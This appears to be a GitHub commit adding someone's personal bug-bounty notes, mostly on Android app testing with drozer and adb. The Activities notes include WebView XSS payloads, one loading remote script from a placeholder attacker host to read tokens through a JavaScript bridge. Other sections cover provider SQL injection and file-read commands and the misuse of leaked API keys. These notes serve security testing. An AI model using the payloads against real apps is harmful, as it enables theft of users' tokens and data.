Skip to content

Commit 2969b39

Browse files
mzfrmzfr
committed
Add all the notes from wiki
1 parent 57a360a commit 2969b39

29 files changed

+2014
-0
lines changed

‎Android/Activities.md

+82
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,82 @@
1+
Activities are basically the GUI screen that we seen in an android app.
2+
3+
- `run [app.activity.info](http://app.activity.info)-a <package-name>`
4+
- Don't use the `-u` flag. It's for activity which are not exported.
5+
- Non-exported activities might also give you something juicy but usually, it requires root permissions.
6+
- start activity is always exported because an application has to be started when someone clicks on the ICON.
7+
- It have intent filter for the launcher.
8+
- If you want to invoke an activity:
9+
- `run app.activity.start --component <package-name> <activity-name>`
10+
11+
In addition to provoking any exported activity with drozer, also read the source code and see what is being done with `onCreate()` method. Because every time activity is called there is an onCreate() method called. So maybe see what they do it with the data(if they accept any) or are there any `if/else` condition that is placed.
12+
13+
Also check if the activity sends any result back. This is done by `setResult()` . So see if there any call to that function and try to find out what's being sent back to the caller.
14+
15+
These are better know as `fragments` . They are just small UI task that kind of help the activities.
16+
17+
**NOTE**: It's possible to try to provoke the `unexported` activities, because they might give you something. Like say if there is a `SETTING ACTIVITY` which shows you the setting of the application etc. Now that is only to be displayed once the user is logged in but it might be possible to provoke them with having a user to do login.
18+
19+
20+
## Tricks
21+
22+
If any activity allows loading any URL in `webView` then try to read the JS file.
23+
24+
On server host the following code:
25+
26+
```jsx
27+
<html>
28+
<head>
29+
<title>Test</title>
30+
</head>
31+
<body>
32+
<img src='http://<server-url>/img.png' onerror=alert(1)>
33+
</body>
34+
</html>
35+
```
36+
37+
And then try to run the activity if alert(1) is loaded it's possible that you might see something good as well.
38+
39+
To test if it's possible to read the internal files try the following:
40+
41+
1) Make a file name `xss.html` with the following code:
42+
43+
```jsx
44+
<html>
45+
<head>
46+
<title>Test</title>
47+
</head>
48+
<body>
49+
<h1>Test</h1>
50+
<script src="http://<url>/xss.js"></script>
51+
</body>
52+
</html>
53+
```
54+
55+
2) In `xss.js` try with the following code:
56+
57+
```jsx
58+
Object.getOwnPropertyNames(window).forEach(function(v, x) { document.writeln(v); });
59+
```
60+
61+
It should give you loads of functions, scroll to the bottom and see if you have anything like `apkInterface` if yes then you can try the following command:
62+
63+
```jsx
64+
Object.getOwnPropertyNames(window.apkInterface).forEach(function(v, x) { document.writeln(v); });
65+
```
66+
67+
And if this gives some output then try running:
68+
69+
```jsx
70+
document.write(apkInterface.getApkPushParams());
71+
```
72+
73+
This might give you payload that contains access token or any kind of cookies.
74+
75+
Another way of checking is that see if
76+
77+
- `settings.setJavaScriptEnabled(true);`
78+
- DOM setting is enabled or not, it would look similar to line as javascriptEnabled.
79+
- Also check for `webSettings().setAllowFileAccess(true);` if it's false then you won't be able to read the files.
80+
81+
82+
* Always look for permissions

‎Android/Android.md

+64
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,64 @@
1+
I will try to make them in such a way that I can also share it with others as well. Hope this will be helpful for me as well as other people.
2+
3+
### General
4+
5+
These are my android notes that I am going to keep while I progress and see what all I can do.
6+
7+
- All the applications are stored on `/data/app` directory.
8+
- All the system applications are stored on `/system/app/`
9+
- We don't have to touch this unless we are going behind the android OS
10+
- Some application gets installed in `/data/app-private`
11+
- This is done my PM(package manager) using `FORWARD_LOCK` enabled
12+
- No external app or anyone else can access that.
13+
- Obviously if you have rooted device you can access those.
14+
15+
**zygotes**: This is the process that listen for new application requests in Android OS
16+
17+
18+
* To get all the URLs from the apk
19+
- `strings <apk> | grep -ProI "[\"'\`](https?://|/)[\w\.-/]+[\"'\`]"`
20+
21+
**Some general things**
22+
23+
- In *AndroidManifest.xml* we can see `<application>` tag they define layout and stuff but it have some spicy stuff as well
24+
- `<android:allowBackup>` : Define whether the backup of application data is allowed or not.
25+
- `run app.package.backup -f <package-name>`
26+
- So it's possible for the developer to define `Backupagent` which can be used to do various task related to backup.
27+
- we can make the backup using `adb backup <package-name>` , an activity will be launched. Leave the Key field black and back it up
28+
- `dd if=backup.ab bs=24 skip=1 | openssl zlib -d > backup.tar`
29+
- here `backup.ab` is placed in the $(pwd)
30+
- extract the tar and see if the databases etc is also being shared.
31+
32+
- Check if the app is debuggable:
33+
- `run app.pacage.debuggable`
34+
- If this is the case a shit load of information would be leaking.
35+
- Use `adb jdwp` to see what all application are running in debuggable mode.
36+
37+
38+
## API keys
39+
40+
In 'strings.xml` you will find lot of APIs. It's possible to use some in wrong manners.
41+
42+
* Google Maps API key:
43+
- https://maps.googleapis.com/maps/api/staticmap?center=40.714728,-73.998672&zoom=12&size=2500x2000&maptype=roadmap&key=
44+
- Post the key and see it works.
45+
- Impact is not big but still an issue since an attacker can cause an increase in the cost.
46+
47+
## APK Signing
48+
49+
* **Generates X.509**
50+
51+
```jsx
52+
keytool -genkey -v -keystore mykey.keystore -alias alias_name -keyalg RSA
53+
-keysize 2048 -validity 10000
54+
```
55+
56+
* **For Signing**
57+
58+
```jsx
59+
jarsigner -verbose -sigalg SHA1withRSA -digestalg SHA1 -keystore
60+
mykey.keystore application.apk alias_name
61+
```
62+
63+
There are lot of bugs that have been discovered related to signing process. But those bugs are in the way android OS verifies the application and not in the application it self.%
64+

‎Android/Broadcast_Receivers.md

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
They are responsible for providing you all the notifications that you get. Also sometimes they pass around bits and pieces of information to other/multiple applications.
2+
3+
- `run [app.broadcast.info](http://app.broadcast.info) -a <package-name>`
4+
- Broadcasts are sent via `sendBroadcast()` and what will be done on that broadcast will be determined by `onReceive()` method.
5+
- There are broadcasts receivers that gets registered at runtime so drozer will not report them and you'll have to find them manually.
6+
- `registerReceiver()` - This is the method name.
7+
- It's possible that a activity have a intent filter. Now if we pass the intent via a broadcast it's possible that activity might get provoked.
8+
- Only happens when it's set to `exported=True` or you have root permission(N/A)
9+
- We can also try to sniff the broadcasts.
10+
- `run app.broadcast.sniff -a <action/intent>`

‎Android/Commands.md

+20
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,20 @@
1+
So these are just collections of command that might be helpful.
2+
3+
### adb
4+
5+
- To find the package
6+
- `adb shell pm list packages | grep <package-name>`
7+
- If you have frida server running you can run `frida-ps -U | grep <name>`
8+
9+
### drozer
10+
11+
These commands are to be run on drozer console which open by running: `drozer console connect`
12+
13+
- Package info: `run [app.package.info](http://app.package.info) -a <package-name>`
14+
- To open **AndroidManifest.xml:** `run app.package.manifest <package-name>`
15+
- It's better to open this file in your editor to be able to read through it properly 😃
16+
- To see how many activity, broadcast, service or content provider are exported run:
17+
- `run app.package.attacksurface <package-name>`
18+
- See clipboard content
19+
- `module install clipboard`
20+
- `run post.capture.clipboard`

‎Android/Content_Providers.md

+18
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,18 @@
1+
These are the third party application which can access the data from the application or provide it with some sensitive data. Ex: Like an app providing login via Facebook would have an activity that provokes the facebook login and stuff. After that facebook SDK would handle everything and once validated it will give the main application all the data required.
2+
3+
The main issue with content provider activity is that they do not mention `android:exported=false` explicitly. If on any Content providers exported is set to true or is not mentioned at all then it could be vulnerable. It's sometime possible that they are exported but if that is the case then check that they are given certain permission. If they are exported and have `null` permission then that could be a big issue.
4+
5+
- `run app.provider.finduri <paackage-name>`
6+
- This will give you all the URLs that are accessible.
7+
- Then you can run: `run app.provider.query <URL>` to see what data it returns.
8+
- If this could be done then using `app.provider.insert` we can insert new data information.
9+
- With drozer you can also try to detect for SQL injection
10+
- `run scanner.provider.injection -a <URI>/<pacckage-name>`
11+
- Also you can test whether the content provider allows the retrieval of files.
12+
- `run [app.provider.read](http://app.provider.read) <content-provider-URL> /system/etc/hosts`
13+
- file `/system/etc/hosts` is always present and word readable.
14+
- It's like checking LFI by including `/etc/passwd`
15+
- The vulnerability here is that if you can include a system file then you can read file from databases etc.
16+
- It's possible that pattern problems exists. If a content provider uses `path` in `path-permission` that means only that path is protected. So say `path=/Keys` was used that mean only that path is protected and it's possible that we can access the `/Keys/` path.
17+
- Try to see whether the developer have used full path or not.
18+
- Think like in linux systems when people use just the binary name and doesn't give full path we exploit that by making binary of that name and adding in `/tmp/` and then adding that path to the $PATH

‎Android/Intents.md

+24
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,24 @@
1+
Basically a data object that tells what task is to be performed.
2+
3+
```jsx
4+
<activity android:name="ActivityName">
5+
<intent-filter>
6+
<action android:name="android.intent.action.View">
7+
<android:scheme="http">
8+
</intent-filter>
9+
</activity>
10+
```
11+
12+
This is a simple activity telling about the `action` and the type of URL it accepts. The scheme of that URL can be `http`.
13+
14+
*There are Explicit intent as well - They are sort of one that opens the URL in the android browser. Think of like when you click on some article link in twitter app and it opens, In-app Browser.*
15+
16+
```jsx
17+
**run app.activity.start —action <activity-name> —data-uri <URL> —component <component> <package-name>**
18+
```
19+
20+
This is the command that can be used to interact with acitivites using drozer.
21+
22+
**NOTE**: Always make sure to check out the code of that Activity to see what it is doing with the URL and see if it can be exploited.
23+
24+
- Review the source code that handles the exported intents

‎Android/Permissions.md

+32
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,32 @@
1+
So every app asks for permission and each permission is defined in the *AndroidManifest.xml*
2+
3+
Ex: If an app is asking for `Read SMS` then it would be defined something like: `android.permission.READ_SMS`
4+
5+
We can use **drozer** command to see such kind of permissions:
6+
7+
```jsx
8+
run app.package.info -a <package-name>
9+
```
10+
11+
Also we can search application which is requesting particular permission:
12+
13+
```jsx
14+
run app.package.list -p android.permission.READ_SMS
15+
```
16+
17+
Example:
18+
19+
```jsx
20+
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
21+
<uses-permission android:name="android.permission.INTERNET"/>
22+
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
23+
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" android:maxSdkVersion="18"/>
24+
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" android:maxSdkVersion="18"/>
25+
<uses-permission android:name="com.google.android.c2dm.permission.RECEIVE"/>
26+
<uses-permission android:name="android.permission.WAKE_LOCK"/>
27+
```
28+
29+
This is from on android application.
30+
31+
- If `android:exported` is not defined then the version of SDK or the version of Android will determine whether it's `true` or `false`
32+
- Any component using `intent-filter` is exported by default.

‎Android/Services.md

+10
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
Runs code inside the application.
2+
3+
- These are implemented on `onStartCommand()` , this method accepts the intent
4+
- This could be vulnerable but again it depends on the code like what it is doing actually inside the code. How the intents are handled.
5+
- `run app.service.start` to start the service and see what's up.
6+
- There is something called `Bound Service` - this help application connect with each other
7+
- There are ways to implement this but mostly it done by what's know as `Messenger Implementation`
8+
- Check out `handleMessage()` functions:
9+
- That will tell you what kinds of message are expected and how the application executes other functions.
10+
- `run [app.service.info](http://app.service.info) -a <package-name>`

‎Home.md

+35
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,35 @@
1+
These are just some of my old notes I made about random stuff that I learned. These are from 2018-2019, at that time I use to just write stuff down in markdown and push it to the repo. Now I've shifted to using [obsidian](https://obsidian.md/) and sync those note to a private repository(I push lot of secret stuff by mistake so had to make it private 😅).
2+
3+
## Index
4+
5+
* Capture the flag(CTF)
6+
+ [Commonly Used Tools](tools)
7+
+ [Web](web)
8+
+ [Cryptography](Cryptography)
9+
+ [Forensics](forensics)
10+
* Making a boot2root VM
11+
+ [Important rules](rules)
12+
+ [General things](Make-boot2root-VM)
13+
+ [Setting Systemd services](services)
14+
+ [Setting fail2ban](fail2ban)
15+
* BugBounty notes for **Android**
16+
+ [General](Android)
17+
+ [Adb/drozer commands](Commands)
18+
+ [Intents](Intents)
19+
+ [Permissions](Permissions)
20+
+ [Activities](Activities)
21+
+ [Broadcast Receivers](Broadcast_Receivers)
22+
+ [Content Providers](Content_Providers)
23+
+ [Services](Services)
24+
* BugBounty notes for **WEB**
25+
+ [Authentication](Authentication)
26+
+ [CORS](CORS)
27+
+ [General Web](General)
28+
+ [HTTP Parameter poisoning](HTTP-Parameter-poisoning)
29+
+ [IDOR](IDOR)
30+
+ [graphql](graphql)
31+
* [Starting with (n)vim](Learning-Vim)
32+
* [Bluetooth](bluetooth)(nothing big)
33+
* [Hacking boot2root/ OSCP notes](boot2root)
34+
35+

‎Learning-Vim.md

+42
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,42 @@
1+
I have just started using Vim for writing small scripts while doing CTFs so this will have things that I am learning with time.
2+
3+
* duplicate a line: `:t.`
4+
* Copy paste are simple:
5+
- `Shift+CTRL+C` - copy
6+
- `Shift+CTRL+V` - paste
7+
* quit
8+
- `:qa!`
9+
10+
* visual mode:
11+
- `v` to get into visual mode - this is just for characters
12+
- `V` - this is for line mode
13+
- `Ctrl+v` - Visual block mode
14+
- Use arrow keys to select the text.
15+
- Shift+$ - to completely select the word.
16+
- Y - yank(copy)
17+
- d - delete
18+
- p - paste
19+
- u - undo
20+
21+
* :s/,/\r/g
22+
- Break on comma
23+
24+
* :set number
25+
- Show line number
26+
27+
## To Select and comment multiple lines
28+
29+
* Select the first caracter of your block
30+
31+
* press Ctrl+V ( this is rectangular visual selection mode)
32+
33+
* type `j` for each line more you want to be commented
34+
35+
* type `Shift-i` (like I for "insert at start")
36+
37+
* type // (or # or " or ...)
38+
39+
* You will see the modification appearing only on the first line
40+
41+
* IMPORTANT LAST STEP: type Esc key, and there you see the added character appear on all lines
42+

‎Self-Hosting.md

+6
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
* Tried cloudron - Not worth it
2+
- I used the digitalocean marketplace to deploy it - https://marketplace.digitalocean.com/apps/cloudron
3+
- The main thing is pricing, if I'm going to pay for the server then paying for the clouron sounds a bit odd.
4+
- Cloudron runs everything inside a docker, which is good. But it runs too many services by default due to which the memory usage is bit high most of the time.
5+
- This way might be good for the people who doesn't want to do lot of technical stuff by themself and would like to just use the GUI to setup everything in few minutes.
6+

0 commit comments

Comments
 (0)